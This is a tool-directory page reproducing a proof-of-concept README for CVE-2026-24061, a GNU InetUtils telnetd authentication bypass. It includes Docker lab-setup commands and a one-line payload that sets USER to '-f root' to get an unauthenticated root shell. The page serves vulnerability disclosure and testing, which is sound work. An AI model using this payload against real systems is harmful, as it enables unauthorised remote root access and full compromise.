Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/lucaspdiniz/cve-2026-24061
Vulnerability AnalysisExploitationPenetration TestingAuthenticationRemote Access Tool
GitHublucaspdiniz/cve-2026-24061

CVE-2026-24061

Vulnerability in GNU InetUtils telnetd Enables Remote Root Access

View Repository
319 months agoNot yet reviewed
Share

GNU InetUtils telnetd Authentication Bypass via Argument Injection - CVE-2026-24061 📚

Introduction

A recently identified argument injection vulnerability in GNU InetUtils telnetd allows attackers to circumvent authentication by setting the USER environment variable to the value “-f root”. As a result, a remote unauthenticated attacker can gain access to systems running the vulnerable telnetd service and elevate privileges to root. If successfully exploited, this flaw may enable attackers to access sensitive information, alter system settings, and run arbitrary commands, potentially resulting in a complete system compromise.

CVSS detailCNA (MITRE)
Base Score9.8
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactHigh
CVSSv3 Version3.1

What happened?

We were able to access the Commit below from 2015 which shows the code change (line 62) that created this vulnerability.

The purpose of this readme is only to show the execution of the exploit, not every step that generated this CVE, however, the intent is to substitute the %U placeholder with the value taken from the USER environment variable. This particular environment variable is user-controlled and can be manipulated via the Telnet protocol 🔥 .

Environment 🔓

For this test, I created 2 containers using images from Docker Hub, with a vulnerable version of InetUtils.

  • Container -> https://hub.docker.com/_/ubuntu
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
      apt update
      apt install build-essential wget tar
      wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
      tar -xvzf inetutils-2.5.tar.gz
      cd inetutils-2.5
      ./configure
      ./configure --enable-telnet
      make clean
      make
      make install
      export PATH=$PATH:/usr/local/libexec
      apt install openbsd-inetd
      echo "telnet  stream  tcp  nowait  root  /usr/local/libexec/telnetd  telnetd" >> /etc/inetd.conf
      service openbsd-inetd restart

docker run --rm -it --name attacker ubuntu bash
      apt install telnet

Payload 💀

With the payload below, we replace the USER variable and bypass the authentication system.

USER="-f root" telnet -a 172.17.0.3

Version Affected ✅

  • Telnetd in GNU Inetutils through 2.7 allows remote authentication.
  • Follow the update to the Ubuntu version. -> https://ubuntu.com/security/CVE-2026-24061

Check your inetutils version

hostname --version
telnetd --version


See you next time :wink:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools →